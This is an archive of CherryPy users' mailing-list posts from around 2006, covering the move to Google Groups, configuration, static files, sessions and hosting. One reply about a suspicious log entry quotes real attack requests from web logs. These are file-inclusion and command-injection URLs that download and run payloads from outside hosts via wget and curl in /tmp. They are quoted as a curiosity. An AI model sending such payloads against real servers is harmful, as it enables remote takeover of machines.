cherrypy-users — For questions about using CherryPy

[Cherrypy-users] CherryPy Moving Away From Sourceforge

[Christian W. <chr...@do...>]

Hi,

This is just an announcement to let everyone know that we are moving
away from Sourceforge for our project hosting.  We are now completely
self-hosted at http://www.cherrypy.org.  All project files and
releases are located there.

Thanks,

Christian Wyglendowski
CherryPy Team

[Cherrypy-users] CherryPy Moving Away From Sourceforge

[Christian W. <chr...@do...>]

Hi,

This is just an announcement to let everyone know that we are moving
away from Sourceforge for our project hosting.  We are now completely
self-hosted at http://www.cherrypy.org.  All project files and
releases are located there.

Thanks,

Christian Wyglendowski
CherryPy Team

[Cherrypy-users] Question on serving local image files

[Morgan K. <mk...@ve...>]

I am pretty new the the wonderful world of html page creation. I am
using cherrypy because of its python interface which also gives me the
ability to connect to my postgres database. I am creating some tests
programs right now, and am mostly in an exploration phase at the moment.
So far its great!

However, I am very interested in being able to integrate images from
outside the database into pages displaying hits from the database. I
already setup a simple framework to do this. However, I was forced to
strictly mirror the setup I found in an example program. First of all
this is considered in cherrypy as serving static content... correct? So
I setup a directory literally called "static" in the same directory as
where I run the cherrypy app from. I set the following values in the
config file:
static_filter.root="mydirhere" (mydirhere is the base dir for the app")
staticFilter.on = True
staticFilter.dir ="static"

Then in my app I create images based on the results retrieved from the
database, place them in that static directory, and then server them up
through href tags in my html pages. That works great! However, as soon
as I try to use a directory other than static... say cache.. and then
change the config variable staticFilter.dir = "cache", it complains that
it can't find the images when I request them in cherrypy. Naturally I
change the variables associated with these paths inside the python code
as well. Shouldn't this be possible? Am I missing some other config
variable? Thanks for the help in advance!

[Cherrypy-users] This list is dead... consider unsubscribing and using the google groups one

[Peter H. <pe...@en...>]

I've been posting to this mailing list since December 2005, but was just 
informed by Remi that it is basically defunct, and the group uses a 
Google Groups mailing list instead.

The new list is at http://groups.google.com/group/cherrypy-users/about 
and I recommend anyone who receives this message or finds it in the 
archive (hopefully the last one ever posted here), will head over there.

Amazingly, in spite of the inactivity, there are still 83 subscribers to 
this list.  Clearly almost all of you are lurkers :-) but you'll find it 
more interesting to go lurk on the active group instead.  There are lots 
of useful posts there now!  (...and 721 subscribers)

(I was using gmane.comp.python.cherrypy to post to the group, which is 
why my posts came here.  Oddly, that Usenet gateway was *receiving* 
messages from both places, but sending only here.  At my request the 
gmane.org administrator has fixed the problem.)

Cheers,
-Peter

Re: [Cherrypy-users] CherryPySuccessStory has many bad links

[Peter H. <pe...@en...>]

Remi Delon wrote:
> PS: We no longer use the SourceForge mailing lists and we use this one 
> instead: http://groups.google.com/group/cherrypy-users

Interesting... I posted through gmane.comp.python.cherrypy as I always 
have.  I wonder if it needs to be told to go to the new list?

How recent was this change, and should I to try to get the gmane list 
fixed (not that I know anything about this stuff, but I could try to 
figure it out)?

-Peter

Re: [Cherrypy-users] CherryPySuccessStory has many bad links

[Remi D. <re...@ch...>]

>I was just trying to look at a bunch of pages on 
>http://www.cherrypy.org/wiki/CherryPySuccessStory (specifically to see what 
>the current convention was for attributing CherryPy in a page footer), and 
>have to report that many of those pages don't work.  No doubt they did at 
>some point, but if so many are offline, it's not going to look very 
>impressive as a "success story" page.
>
> There's no single reason for the problem, but among other things there are 
> 403 errors, the default Apache page, 404 errors, 502 (bad upstream proxy 
> response).

Thanks for letting us know. I've removed a few obsolete links from this 
page.

Remi.

PS: We no longer use the SourceForge mailing lists and we use this one 
instead: http://groups.google.com/group/cherrypy-users

[Cherrypy-users] CherryPySuccessStory has many bad links

[Peter H. <pe...@en...>]

I was just trying to look at a bunch of pages on 
http://www.cherrypy.org/wiki/CherryPySuccessStory (specifically to see 
what the current convention was for attributing CherryPy in a page 
footer), and have to report that many of those pages don't work.  No 
doubt they did at some point, but if so many are offline, it's not going 
to look very impressive as a "success story" page.

There's no single reason for the problem, but among other things there 
are 403 errors, the default Apache page, 404 errors, 502 (bad upstream 
proxy response).

-Peter

[Cherrypy-users] Re: Strategies for Using config file

[Peter H. <pe...@en...>]

Rob Cowie wrote:
> I currently use the configfile.conf to store not only cherrypy
> settings, but several application specific parameters as well. Things
> such as alternative paths to required third-party modules (to allow
> users to override the default and store things wherever they like).
...
> How would you use the .conf file in this situation?
> 
> Would you parse it once, then allow cherrypy to parse it again as
> required? or would you parse it, store the values and pass them to
> cherrypy as a dict at startup?

I wouldn't couple those two things together in my design.  Keep the 
cherrypy config file for cherrypy, and make a new config file for 
yourself.  Then you won't have that uneasy feeling that what you are 
doing is inelegant...

Among other benefits, this way you know that if a future version of 
cherrypy starts looking for a section with the same name as one you've 
chosen to use for yourself, nothing mysteriously bad will happen...

-Peter

[Cherrypy-users] Re: How to use gzipfilter?

[Peter H. <pe...@en...>]

Mathieu Rouleau wrote:
> and actually i think the compression only affects text/html content
> looks like some browsers don't like their images compressed or some such 
> odd behavior
> 
> i'd tag on a question of my own to this thread,
> can I enable compression for other content-types? the docs are a little 
> sketchy, or am i completely off the track?

I can't answer the question directly, but you generally don't want to be 
trying to compress binary files like images if they're already 
compressed (e.g. PNG and JPG).

Compressing compressed files almost always leads to an _increase_ in 
file size, and at the cost of increased processing time on both ends.

-Peter

[Cherrypy-users] Re: Best way to validate input?

[Peter H. <pe...@en...>]

go...@gm... wrote:
> how come js is no good?, just wandering how it is a security issue

If you validate only on the client side (with Javascript), but not on 
the server, then it's trivial for someone to send bad data to your 
server and mess it up.  That's a clear security issue...

(It's not that using Javascript is a problem, it's that using *only* 
Javascript is a problem.)

-Peter

[Cherrypy-users] Re: Patch to fix SystemExit behavior.

[Peter H. <pe...@en...>]

Remi Delon wrote:
> RE: [cherrypy-users] Re: Patch to fix SystemExit behavior.> Titus wrote:
> 
>>>the code that catches SystemExit in _cpserver.py fails to re-raise it
>>>again, thus making it impossible to exit with an error code.
>>
>>and Remi replied:
>>
>>>That's fixed now in changeset [975]. Thanks for reporting it.
>>
>>I think more needs to be done. The lines that Titus was looking at are
>>actually now in _cpengine (the "block" method"). Follow-on question:
>>should KeyboardInterrupt also re-raise?
> 
> I don't think KeyboardInterrupt should re-raise ... I can't think of a use 
> case for it.

Possibly not, but normally a Python program will generate a traceback if 
you Ctrl-C out of it without explicitly catching KeyboardInterrupt. 
Should it be CherryPy's job to change that behaviour?

(Sorry I haven't checked the code: I wonder why it's catching that in 
the first place.  Little other non-application code does that... it 
should probably be up to the programmer to handle.)

-Peter

[Cherrypy-users] Re: disable/replace default footer

[Peter H. <pe...@en...>]

mthorley wrote:
> thanks both!

At least on my system (CP 2.1.0) the config settings are case sensitive, 
and the name must be exactly this, not what was given:

logDebugInfoFilter.on=False

(In other words, starts with lower case letter.)

I note in this page found somewhat randomly with a search, that the 
names are changing anyway, and it will soon need to be 
log_debug_info_filter.on instead: http://www.cherrypy.org/wiki/CamelToLower

-Peter

[Cherrypy-users] Re: logfile

[Peter H. <pe...@en...>]

dimitri pater wrote:
> does anybody knows what the third line in my logfile means? It looks 
> suspicious to me...
> 
> 2006/01/15 08:10:30 HTTP INFO 219.129.25.220 <http://219.129.25.220> - 
> GET /ttp://verify.qq.com/getimage/paycenterqqcard?0.8475128964591452 
> HTTP/1.1

Suspicious how?  Is "verify.qq.com" the address of your site?  Is the 
rest of the URL roughly how it should look and you're concerned only 
about the incorrect "ttp://" part in front?  Or do you mean none of that 
is even remotely valid for your site?

If I saw that exact line in my own logs (which are obviously not for a 
qq.com site), I'd simply conclude it was one of the many attempts to 
exploit a bug in some product that script kiddies and zombies hammer at 
all of us all day long.  I've seen stuff much more obscure than that, 
and consider most such a mere curiosity (or educational about just how 
flawed some software can be).

(Here's a small sampling:
"CONNECT 168.95.5.169:25 HTTP/1.0"
"GET http://www.intel.com/ HTTP/1.1"
"GET /w00tw00t.at.ISC.SANS.DFind:) HTTP/1.1"
"GET /level/16/exec/-///pwd HTTP/1.1"

and these less benign beauties which are likely turning machines the 
world over into zombies (though obviously non-Microsoft servers):

"GET /tellafriend/inc/tell_a_friend.inc.php?script_root=http://geocitie
s.com/zamelmania/fbi.gif?&cmd=cd /tmp;curl -O 
suxtefute.com/sess_3539283e27d73cae29fe2b80f9293f59;perl sess_3539283e27d73c
ae29fe2b80f9293f59 HTTP/1.1"

"GET /modules/Forums/admin/admin_styles.phpadmin_styles.php?phpbb_root_
path=http://81.174.26.111/cmd.gif?&cmd=cd /tmp;wget 
216.15.209.4/criman;chmod 744 criman;./criman;echo YYY;echo| HTTP/1.1"

"GET /cgi-bin/awstats.pl?configdir=|echo;echo YYY;cd /tmp;wget 209.136.
48.69/mirela;chmod +x mirela;./mirela;echo YYY;echo| HTTP/1.1"
)

-Peter

[Cherrypy-users] Re: Thoughts about the CherryPy project

[Justus P. <ju...@ry...>]

On 2006-01-02, Michael Goettsche <goo...@mi...> wrote:
> The release number 2.1 indicates stability.

A release number doesn't indicate anything in and of itself. It
indicates whatever that particular project wants it to mean. Some
projects follow the old linux kernel model, some follow the gcc/emacs
model, some come up with their own cute/weird way (smalleiffel uses
negative numbers slowly approaching 0; blosxom uses imaginary numbers to
denote unstable releases).

When gcc goes from 3.3 to 3.4 it signifies a major change; cherrypy
could very well be the same way. Or it could mean "it has been six
months since we last had a stable release". Or anything else unless the
cherrypy devs have a public release strategy and naming convention.

Given that cherrypy2 is practically a completely different project than
cherrypy1 I always thought a gcc naming convention made more sense...that
2.1 -> 2.2 meant a major change and 2.1.0 -> 2.1.1 meant a minor change.
Then someday in the distant future when cherrypy undergoes massive
changes such that it can automatically solve world hunger while playing
Quake it'll become cherrypy 3.0 :)

Justus

[Cherrypy-users] Re: Fight against Wiki spam (was Re: Thoughts about the CherryPy project)

[Peter H. <pe...@en...>]

Olivier Favre-Simon wrote:
> e.g. either via pycaptcha (http://sourceforge.net/projects/pycaptcha/)

Hmmm... nice sounding project, pretty page.

Where's the code?  No files, no source, no home page: no use.

Or am I missing something obvious?

-Peter

[Cherrypy-users] Re: Using Apache for redirect

[Peter H. <pe...@en...>]

Harlin Seritt wrote:
> I am trying to use Apache to redirect to my cp app.
> 
> I have the following setup in my config file:
> 
> [global]
> baseUrlFilter.on = True
> server.threadPool = 10
> baseUrlFilter.on = True

Minor note: you've written the above entry twice.

> baseUrl = 'cherrypy'

Should this be "baseUrlFilter.baseUrl"?

Also, I thought it was supposed to be a full URL, as in
"http://cherrypy/".

> Inside httpd.conf for Apache I have:
> 
> RewriteEngine on
> RewriteCond %{HTTP_HOST} cherryptest
> RewriteRule ^(.*) http://cherrypytest:8080/$1 [P]

I have a nearly identical setup which is working fine, but I don't have 
the above RewriteCond line at all.  (I'm a rookie at Apache, however, so 
it could well be useful in some situation I don't have: I don't seem to 
need it however.)

Other than the two comments above re baseUrl, I have the same thing and 
it's working fine.

-Peter

[Cherrypy-users] Re: Exception in tests of CherryPy-2.1.0

[Peter H. <pe...@en...>]

T. S. Ferreira wrote:
> I installed version 2.1.0 and ran the test suite. Everything went fine 
> but at the end I got the message:
> -----------------------------------
> Unhandled exception in thread started by
> Error in sys.excepthook:
> 
> Original exception was:
> -----------------------------------
> 
> My system is Linux Fedora Core 4, and Python 2.4.1.
> 
> Any hints?

This looks very much like the (not widely) known problem of shutting 
down the python interpreter while a daemon thread is still running. 
What happens is the main thread exits (because only daemon threads are 
left running), and then the interpreter walks through everything in 
sys.modules and rebinds all module global names to None.  While it's 
doing this (a process which is pretty quick, but not instantaneous), the 
daemon thread(s) might have a chance to run again for a moment, and if 
the running one tries to access one of its globals, it usually raise an 
exception because of the None-substitution.

One alternative for you is to close your eyes briefly after the test 
completes, type "clear" or "cls", re-open your eyes and carry on as 
though nothing happened.  I do that most of the time.

Another solution is to modify the code so that threads are properly 
terminated.  Depending on the code in question this can be either 
trivial (e.g. a simple "time.sleep()" *might* be enough, but only if the 
daemon threads are already on their way to stopping themselves but just 
need a little extra time), or it can be quite a lot of work (modifying 
lots of code to replace the threads with your own StoppableThread class, 
or whatever...).

In the end, this sort of thing is basically harmless, although an 
annoying wart.

-Peter

[Cherrypy-users] dots in path segments

[Vladimir I. <vla...@gm...>]

Hi,

while investigating why I can't access url's containing dots, I found
that the dots in path segments are substituted with underscores (line
664 of _cphttptools.py). Both getattr and setattr accept attribute names
containing dots, so my question is is that really necessary ?

Regards,
Vlado

[Cherrypy-users] Re: CherryPy and Postgresql hosting

[Remi D. <re...@ch...>]

Hi Brendan,

 > Can anyone recommend a good (and cheap) hosting site where I can run
 > CherryPy and Postgresql?
 > I would also like to have rsync and other sw available (eg. apache, PHP,
 > Zope, perl) if I want to do some other things.
 > Would I have to go to the extent of getting a virtual private server to
 > get all the features I'm after???
 >
 > TIA
 > Brendan Simon
 > Melbourne/Australia

Well, have a look at:
http://trac.cherrypy.org/cgi-bin/trac.cgi/wiki/CherryPyHostingProviders

Regards,

Remi.

PS: The CherryPy mailing lists have moved to Google Groups. Have a look 
at http://trac.cherrypy.org/cgi-bin/trac.cgi/wiki/CherryPyMailingLists 
to see the new lists.

[Cherrypy-users] CherryPy and Postgresql hosting

[Brendan S. <Bre...@fa...>]

Can anyone recommend a good (and cheap) hosting site where I can run 
CherryPy and Postgresql?
I would also like to have rsync and other sw available (eg. apache, PHP, 
Zope, perl) if I want to do some other things.
Would I have to go to the extent of getting a virtual private server to 
get all the features I'm after???

TIA
Brendan Simon
Melbourne/Australia

Re: [Cherrypy-users] cherrypy2 concepts

[Remi D. <re...@ch...>]

> I'm just looking into cherrypy, and generally I like what I see.
>
> However, there is something I don't understand. Cherrypy creates one python file for each application. This is a complete http 
> server. But what if I want to serve several applications from one server? In J2EE terms you would have one servlet container 
> serving several apps, like:
>
> http://server:8080/app1
> http://server:8080/app2
>
> Is this possible in Cherrypy?

Yes, it is possible.
If the 2 URLs look like the ones you used, then all you have to do is use two different classes.

If the 2 applications used 2 different domain names, then you'd have to write some code in "initRequest" that redirects requests to 
the right class/method, based on the Host header.

Regards,

Remi.

[Cherrypy-users] cherrypy2 concepts

[Torvald B. B. <tb...@in...>]

Hello.

I'm just looking into cherrypy, and generally I like what I see.

However, there is something I don't understand. Cherrypy creates one 
python file for each application. This is a complete http server. But 
what if I want to serve several applications from one server? In J2EE 
terms you would have one servlet container serving several apps, like:

http://server:8080/app1
http://server:8080/app2

Is this possible in Cherrypy?

Regards
-Torvald

[Cherrypy-users] Re: cherrypy2 sessions

[Remi D. <re...@ch...>]

Hi Kender,

> I'm trying to use cherry2 with sessions. Taken the tutorial app
> (tutorial08.py) and when I run it, I get the "1" viewed every time. I
> just realised, the sessionId is diffrent every time i refresh the page
> or go through the link. Am I doing something wrong, or is it a bug?
> 
> Below, I paste my config file:
> 
> [server]
> socketPort = 8000
> threadPool = 1
> 
> [session]
> storageType=ram
> timeout=20
> 
> maybe it's something wrong with it?

Hmm .. this tutorial works fine for me.
Are you sure you have cookies enabled in your browser ?

Remi.

[Cherrypy-users] IMPORTANT: CherryPy is officially switching to Google Groups for mailing lists

[Remi D. <re...@ch...>]

Hello everybody,

After getting more and more frustrated with the Sourceforge-based mailing lists, we've decided to switch to Google Groups.

The new lists are available at:
http://groups-beta.google.com/group/cherrypy-announce/  (e-mail:  che...@go...)
http://groups-beta.google.com/group/cherrypy-users (e-mail:  che...@go...)
http://groups-beta.google.com/group/cherrypy-devel (e-mail:  che...@go...)

If you want to keep receiving e-mails from these lists, you'll have to register for them on Google Groups.

Messages will be cross-posted to the SourceForge and Google Groups lists for a week, and after that only Google Groups will be used.

Remi.

[Cherrypy-users] [ANN] CherryPy-2.0.0a1 released

[Remi D. <re...@ch...>]

Hello everybody,

I'm happy to announce the first alpha release of CherryPy-2.
It's still very "alpha", but the core functionality is there and should be quite stable.

The first alpha release of CherryTemplate as a separate package is also available.

All the download links are available on cherrypy.org

Remi.